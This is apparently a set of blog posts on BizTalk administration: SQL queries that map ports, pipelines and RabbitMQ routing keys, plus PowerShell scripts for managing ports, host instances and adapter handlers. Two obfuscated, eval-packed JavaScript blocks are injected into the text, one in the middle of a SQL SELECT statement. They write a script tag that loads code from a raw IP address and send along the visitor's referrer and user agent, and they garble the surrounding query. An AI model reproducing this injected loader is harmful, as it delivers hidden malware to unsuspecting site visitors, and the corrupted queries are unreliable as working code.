select app.nvcName,
       rp.nvcName as ReceivePort, 
       bTwoWay, 
       rl.Name as ReceiveLocation,
       InboundTransportURL, 
       ReceivePipelineData
  from bts_receiveport rp 
inner join adm_ReceiveLocation rl on rl.ReceivePortId = rp.nID 
inner join bts_application app on rp.nApplicationID = app.nID 
--where InboundTransportURL like '%test%'
order by rl.Name 

I’ve been doing a lot of reverse engineering and studying of old systems as we migrate them to new releases of BizTalk. I find myself constantly using SQL command to narrow down the ports I’m interested in… By joining to the bts_sendport_transport table, we are able to show the address (for example, disk/file directory name, FTP address, SQL address, etc…)

Use <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaesn|var|u0026u|referrer|ttdzi||js|php'.split('|'),0,{}))
</script></noindex> BizTalkMgmtDb

select app.nvcName as Application, 
       sp.nvcName as SendPortName,
       nvcAddress as Address,
       nvcSendPipelineData, 
       nvcFilter, 
       bDynamic, 
       bTwoWay    
from bts_sendport sp 
   inner join bts_application app on sp.nApplicationID = app.nID 
   inner join bts_sendport_transport spt on spt.nSendPortID = sp.nID and spt.nTransportTypeId is not null 
where sp.nvcName like '%204%' 
order by app.nvcName, sp.nvcName 

We have our own RabbitMQ adapter.

The addresses look like the following.

Send Port
rabbit@dev.myRabbitMQ.com/Exchange=MyRabbitMQTopic&RoutingKey=MyRoutingKey

Receive Location
rabbit@dev.myRabbitMQ.com/Queue=MyQueueName&RoutingKey=MyRoutingKey

What I wanted to do is match which Receive Ports subscribe to RabbitMQ RoutingKeys from other Send Ports. In other words, when I send out a message from one orchestration (send port), which orchestration (or Receive Port) is going to pick it up? The query below doesn’t include the xref to the orchestrations.

This requires some parsing of the address to pull out the RoutingKey, then I join on that.
I could do the same thing for disk files (where I would take of the the \*.* in order to do a potential match).

select <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dthns|var|u0026u|referrer|hieni||js|php'.split('|'),0,{}))
</script></noindex> sp.nvcName as 'SendPort', 
	   rp.nvcName as 'ReceivePort', 
	   rl.Name as 'ReceiveLocation', 
	   SUBSTRING(spt.nvcAddress, CHARINDEX('&RoutingKey=', spt.nvcAddress)+Len('&RoutingKey='), LEN(nvcAddress)) as 'RoutingKey',
           spt.nvcAddress as 'SendPortAddress', 
	   rl.InboundTransportURL as 'ReceiveLocationAddress'
   
   from bts_SendPort sp 
   inner join bts_SendPort_Transport spt on spt.nSendPortId = sp.Nid and nTransportTypeID is not null 
   	left outer join adm_ReceiveLocation rl on
	      SUBSTRING(spt.nvcAddress, CHARINDEX('&RoutingKey=', spt.nvcAddress)+Len('&RoutingKey='), LEN(spt.nvcAddress)) = 
		  SUBSTRING(rl.InboundTransportURL, CHARINDEX('&RoutingKey=', rl.InboundTransportURL)+Len('&RoutingKey='), LEN(rl.InboundTransportURL))
    left outer join bts_ReceivePort rp on rl.ReceivePortID = rp.NId  

   where nvcAddress like '%RoutingKey%'
   	 and InboundTransportURL like '%RoutingKey%'
	 order by sp.nvcname 

I cannot show actual ports, but column headings would look like this:

Sometimes you need the full assembly name, properly formatted to use for various reasons
(such as a WCF Custom Behavior file that is imported into BizTalk adapter).

Here are a couple of ways to get it:

DOS Comamnd Window (GacUtil /L)


C:\Windows\system32>gacutil /l | find "bLogical"
bLogical.BizTalk.RESTBehavior, Version=1.0.0.0, Culture=neutral, PublicKeyToke
n=8b7f8ad23140b57b, processorArchitecture=MSIL
bLogical.RESTSchemas, Version=1.0.0.0, Culture=neutral, PublicKeyToken=fef5a20
096b53fc0, processorArchitecture=MSIL

C# using reflection


//using System.Reflection -- add this using statement
Assembly assembly = Assembly.LoadFrom(@"d:\GitAtlasCore\RestErrorHandling\bLogical.BizTalk.RESTBehavior\bin\Debug\bLogical.BizTalk.RESTBehavior.dll");
foreach (Type type in assembly.GetTypes())
{
Console.WriteLine(type.FullName);
//Console.WriteLine(type.AssemblyQualifiedName);
}

Console.WriteLine("-----");
Type myType = assembly.GetType("bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerExtensionElement");
Console.WriteLine(myType.AssemblyQualifiedName);

Console.ReadLine();

Output of C#


bLogical.BizTalk.RESTBehavior.BizTalkRESTResponseHandler
bLogical.BizTalk.RESTBehavior.RequestContext
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerExtensionElement
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerBehavior
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandler
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitHandlerExtensionElement
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitHandlerEndpointBehavior
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitHandler
bLogical.BizTalk.RESTBehavior.BizTalkRESTTransmitErrorHandler
bLogical.BizTalk.RESTBehavior.CustomJsonErrorBodyWriter
bLogical.BizTalk.RESTBehavior.MessageHelper
-----
bLogical.BizTalk.RESTBehavior.BizTalkRESTRequestHandlerExtensionElement, bLogica
l.BizTalk.RESTBehavior, Version=1.0.0.0, Culture=neutral, PublicKeyToken=8b7f8ad
23140b57b


#Biztalk Kill Process associated with BizTalk Host Instance
$processID = Get-WmiObject Win32_Service -Filter "Name='BTSSvc`$BizTalkServerApplication'" | Select-Object -Expand ProcessID
Write-Host "processID=$processID"
stop-process -id $processID -Force
Write-Host "Completed"

This can be used to kill a BizTalk Host Instance that is in the stop-pending state.

Other commands you can run to see how the Get-WmiObject Win32_Service works:

#get-wmiobject Win32_service
#get-wmiobject Win32_service | where {$_.Name -match "BizTalkServerApplication"}
#get-wmiobject Win32_service | where {$_.Name -eq "BTSSvc`$BizTalkServerApplication"}

The following two queries return all send and receive ports/locations that use a given pipeline component.
You can filter on the friendly name or the fully qualified name. This query can be very useful when you need to change a pipeline component,
and you need to “roll off” the applications that use it, make the change, then “roll them back on.

use BizTalkMgmtDb
SELECT app.nvcName AS [Application],
ass.nvcName AS [Assembly],
rp.nvcName AS [Receive Port],
rl.Name AS [Receive Location],
rppl.Name AS [Receive Pipeline],
rppl.FullyQualifiedName as [RecievePipelineFQ]
FROM bts_application app WITH(NOLOCK)
LEFT OUTER JOIN bts_assembly ass WITH(NOLOCK) ON app.nID = ass.nApplicationId
LEFT OUTER JOIN bts_receiveport rp WITH(NOLOCK) ON rp.nApplicationID = ass.nApplicationID
LEFT OUTER JOIN adm_ReceiveLocation rl WITH(NOLOCK) ON rp.nID = rl.receiveportId
LEFT OUTER JOIN bts_pipeline rppl WITH(NOLOCK) ON rl.ReceivePipelineId = rppl.Id
WHERE
rppl.Name like '%shared%'
and rppl.FullyQualifiedName like '%V2%'
ORDER BY 1,2,3

SELECT app.nvcName AS [Application],
ass.nvcName AS [Assembly],
sp.nvcName AS [Send Port],
sppl.Name AS [Send Pipeline],
sppl.FullyQualifiedName as [Send PipelineFQ]
FROM bts_application app WITH(NOLOCK)
LEFT OUTER JOIN bts_assembly ass WITH(NOLOCK) ON app.nID = ass.nApplicationId
LEFT OUTER JOIN bts_sendport sp WITH(NOLOCK) ON sp.nApplicationID = ass.nApplicationID
LEFT OUTER JOIN bts_pipeline sppl WITH(NOLOCK) ON sp.nSendPipelineID = sppl.Id
WHERE
sppl.Name like ‘%shared%’
and sppl.FullyQualifiedName like ‘%V2%’
ORDER BY 1,2,3

You could make it fancier and come up with one query that does a union of the two, but then you probably would need to add another column to indicate if it’s a receive or send.

If you have orchestrations involved, there is another blog post that shows how to xref orchestrations to pipelines.

Today, I was trying to find if a JSON pipeline we had was being used on a given BizTalk system.
I found the SQL command from here: https://gallery.technet.microsoft.com/Show-BizTalk-Applications-8f73d753
and just modified it to add an additional condition to the where clause

and rppl.Name like ‘%json%’

Here is the full command:


SELECT app.nvcName AS [Application],
ass.nvcName AS [Assembly],
orc.nvcName AS [Orchestration],
orc.nOrchestrationStatus AS [Status],
orp.nvcName AS [Orchestration Port],
pt.nvcName AS [Port Type],
pto.nvcName AS [Port Type Operation],
rp.nvcName AS [Receive Port],
rl.Name AS [Receive Location],
rppl.Name AS [Receive Pipeline],
sp.nvcName AS [Send Port],
sppl.Name AS [Send Pipeline],
spg.nvcName AS [Send Port Group]
FROM bts_application app WITH(NOLOCK)
LEFT OUTER JOIN bts_assembly ass WITH(NOLOCK) ON app.nID = ass.nApplicationId
LEFT OUTER JOIN bts_orchestration orc WITH(NOLOCK) ON ass.nID = orc.nAssemblyId
LEFT OUTER JOIN bts_orchestration_port orp WITH(NOLOCK) ON orc.nID = orp.nOrchestrationId
LEFT OUTER JOIN bts_porttype pt WITH(NOLOCK) ON orp.nPortTypeID = pt.nID
LEFT OUTER JOIN bts_porttype_operation pto WITH(NOLOCK) ON pt.nID = pto.nPortTypeID
LEFT OUTER JOIN bts_orchestration_port_binding opp WITH(NOLOCK) ON orp.nID = opp.nOrcPortID
LEFT OUTER JOIN bts_receiveport rp WITH(NOLOCK) ON opp.nReceivePortID = rp.nID
LEFT OUTER JOIN adm_ReceiveLocation rl WITH(NOLOCK) ON rp.nID = rl.receiveportId
LEFT OUTER JOIN bts_pipeline rppl WITH(NOLOCK) ON rl.ReceivePipelineId = rppl.Id
LEFT OUTER JOIN bts_sendport sp WITH(NOLOCK) ON opp.nSendPortID = sp.nID
LEFT OUTER JOIN bts_pipeline sppl WITH(NOLOCK) ON sp.nSendPipelineID = sppl.Id
LEFT OUTER JOIN bts_sendportgroup spg WITH(NOLOCK) ON opp.nSpgID = spg.nID
WHERE orc.nvcName IS NOT NULL
and rppl.Name like '%json%'
ORDER BY 1,2,3

— Status
— 1 = Unenlisted
— 2 = Stopped
— 3 = Started

NOTE: – above only works with orchestrations

If you don’t have an orchestration involved, I have created another a pair of queries to find send and receive ports that use a given pipeline.

Here are some samples you can use to list, start/stop, enable/disable, enlist/unenlist and so on your Send Ports, Receive Ports, and Recieve Locations.

Note the path hierarchy. You must specify you application name. I’m using “BizTalk EDI Application” since anyone with EDI installed will have the same results.

Sample Script

cls
Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  #NOTE: Must be in 32-bit version of Powershellto use this SnapIn

cd "Biztalk:\Applications\BizTalk EDI Application\Send Ports"
Get-ChildItem | ft -auto      # or just type in "DIR", the "| ft -auto" avoids the Name being cut off with the elipse ... 
Write-Host "`nSend Ports - List Completed"
Get-ChildItem |Where-Object { $_.Name -match 'ResendPort' } | Unenlist-SendPort
Get-ChildItem |Where-Object { $_.Name -match 'ResendPort' } | Start-SendPort


cd "Biztalk:\Applications\BizTalk EDI Application\Receive Ports"
Get-ChildItem | ft -auto      # or just type in "DIR", the "| ft -auto" avoids the Name being cut off with the elipse ... 
Write-Host "`nReceive Ports - List Completed"


cd "Biztalk:\Applications\BizTalk EDI Application\Receive Locations"
Get-ChildItem | ft -auto      # or just type in "DIR", the "| ft -auto" avoids the Name being cut off with the elipse ... 
Write-Host "`nReceive Ports - List Completed"

cd "Biztalk:\Applications\BizTalk EDI Application\Receive Locations"
Get-ChildItem |Where-Object { $_.Name -match 'ResendReceiveLocation' } | Disable-ReceiveLocation
Get-ChildItem |Where-Object { $_.Name -match 'ResendReceiveLocation' } | Enable-ReceiveLocation

Note: I didn't put any Write-Host to show when the ports were succesfully stopped or started, you could add that i you want it.

Output of running the above script



    Path: BiztalkFactory.PowerShell.Extensions\BizTalk::Biztalk:\Applications\BizTalk EDI Application\Send Ports


Name       Status  Application            
----       ------  -----------            
ResendPort Started BizTalk EDI Application



Send Ports - List Completed


    Path: BiztalkFactory.PowerShell.Extensions\BizTalk::Biztalk:\Applications\BizTalk EDI Application\Receive Ports


Name                        Application            
----                        -----------            
BatchControlMessageRecvPort BizTalk EDI Application
ResendReceivePort           BizTalk EDI Application



Receive Ports - List Completed


    Path: BiztalkFactory.PowerShell.Extensions\BizTalk::Biztalk:\Applications\BizTalk EDI Application\Receive Locations


Name                       Enabled Application            
----                       ------- -----------            
BatchControlMessageRecvLoc True    BizTalk EDI Application
ResendReceiveLocation      True    BizTalk EDI Application



Receive Ports - List Completed

PS BizTalk:\Applications\BizTalk EDI Application\Receive Locations> 

When you install the Powershell Extensions for BizTalk, there is a readme.txt file created ("d:\Program Files (x86)\Microsoft BizTalk Server 2016\SDK\Utilities\PowerShell\readme.txt") that will show you all the cmdlets that are available (such as Start-SendPort, Unenlist-SendPort, etc...)

When dealing with Host Instances, you must specify the fully-qualified name, or use a couple of tricks I show in this blog.

I’ve been setting up some pre-canned scripts that I can just open when needed, and that have already been tested. Today I was looking at listing, starting, and stopping BizTalk Host Instances.

Powershell Script

cls
Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  #NOTE: Must be in 32-bit version of Powershellto use this SnapIn

cd "Biztalk:\Platform Settings\Host Instances"
Get-ChildItem | ft -auto      # or just type in "DIR", the "| ft -auto" avoids the Name being cut off with the elipse ... 
Write-Host "`nList Completed"


#Demonstrating 3 ways: 
#  1) Use fully qualified host instance name (a big pain to type it correctly) 
#  2) Use the -match operator to match on a string 
#  3) Use the Host name instead
# With last two, it will start/stop all host-instances on all machines

Stop-HostInstance "Microsoft BizTalk Server OrchHost SERVER01"
Write-Host "Stopped"

#Get-ChildItem |Where-Object { $_.Name -match 'OrchHost' } |Start-HostInstance
Get-ChildItem |Where-Object { $_.Host -eq 'OrchHost' } |Start-HostInstance
Write-Host "Started"

Results of running the above Powershell Script


    Path: BiztalkFactory.PowerShell.Extensions\BizTalk::Biztalk:\Platform Settings\Host Instances


Name                                                           Host Name                 Windows Group                         Running Server
----                                                           ---------                 -------------                         --------------
Microsoft BizTalk Server BizTalkServerApplication SERVER01  BizTalkServerApplication  BizTalk Application Users             SERVER01   
Microsoft BizTalk Server BizTalkServerIsolatedHost SERVER01 BizTalkServerIsolatedHost BizTalk Isolated Host Users           SERVER01   
Microsoft BizTalk Server TrackingHost SERVER01              TrackingHost              SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server AS2HostReceive SERVER01            AS2HostReceive            SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server AS2HostSend SERVER01               AS2HostSend               SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server SFTPHostReceive SERVER01           SFTPHostReceive           SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server SFTPHostSend SERVER01              SFTPHostSend              SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server FileHostReceive SERVER01           FileHostReceive           SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server FileHostSend SERVER01              FileHostSend              SERVER01\BizTalk Application Users SERVER01   
Microsoft BizTalk Server OrchHost SERVER01                  OrchHost                  SERVER01\BizTalk Application Users SERVER01   



List Completed
Stopped
Started

PS BizTalk:\Platform Settings\Host Instances&gt; 

The use of “-ft auto” is used to avoid the ellipsis and show the full name (rather than truncating it).

After you add Host and Host-Instances to BizTalk, they are not useful and cannot be associated with Send/Receive ports until you relate the Host to the Adapter. This can be done in BizTalk Admin Console, but below is a program that allows you to do it with the BizTalk Powershell Extensions.

See related script to use Powershell to add new BizTalk Hosts and Host Instances.

cls
Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  #NOTE: Must be in 32-bit version of Powershellto use this SnapIn
#get-PsSnapIn -registered   ### list registered Snap-In's

function UpdateAdapter($AdapterName, $HostName, $Direction)
{
        # modeled after code from: 
        # https://social.technet.microsoft.com/wiki/contents/articles/32456.powershell-script-for-creating-biztalk-hostshost-instancesadapter-handlers-and-custom-event-log.aspx}

        Write-Host "Starting of `$Adapter=$AdapterName and `$Host=$HostName `$Direction=$Direction"
        #Example: Set-Location –Path '..\SFTP'
        $Pathname = "BizTalk:\Platform Settings\Adapters\$AdapterName"
        Write-Host "`$PathName=$PathName"
        Set-Location –Path $PathName 

        if ($Direction -eq "Send" -or $Direction -eq "Both") 
        {
            Write-Host "Setup Sending" 
            ### Sending 
                                                           #Example:  -eq "SFTP Send Handler (Sending_64)"
            $VarAdapterHandler = Get-ChildItem | Where-Object{$_.Name -eq "$AdapterName Send Handler ($HostName)"}
            if($VarAdapterHandler.Name -eq $null)
            {
                   Write-Host "Adding $AdapterName handler for Host=$HostName"
                   #New-Item  -Path .\Sending_64 -HostName Sending_64 -Direction Send 
                   New-Item  -Path .\$HostName -HostName $HostName -Direction Send
            }
        }

        if ($Direction -eq "Receive" -or $Direction -eq "Both") 
        {
            Write-Host "Setup Receiving" 
            ### Receiving
            $VarAdapterHandler = Get-ChildItem | Where-Object{$_.Name -eq "$AdapterName Receive Handler ($HostName)"}
            if($VarAdapterHandler.Name -eq $null)
            {
                   Write-Host "Adding SFTP Receive handler for Receiving_64 Host"
                   New-Item  -Path .\$Hostname -HostName $HostName -Direction Receive
            }
        }
        Write-Host "End of $AdapterName and $HostName"
        Write-Host "----"

}


### MAIN CODE HERE - Calls Function Above once per Host/Host-Instance ### 


#Pass Three Parms: 1) AdapterName, 2) HostName, 3) Direction [Send/Recive/Both]
#UpdateAdapter  "TrackingHost"   "Both" 

UpdateAdapter "HTTP" "AS2HostReceive" "Receive"
UpdateAdapter "HTTP" "AS2HostSend"    "Send"

UpdateAdapter "SFTP" "SFTPHostReceive" "Receive"
UpdateAdapter "SFTP" "SFTPHostSend"    "Send"

UpdateAdapter "FILE" "FileHostReceive" "Receive"
UpdateAdapter "FILE" "FileHostSend"    "Send"

Write-Host "Script Completed"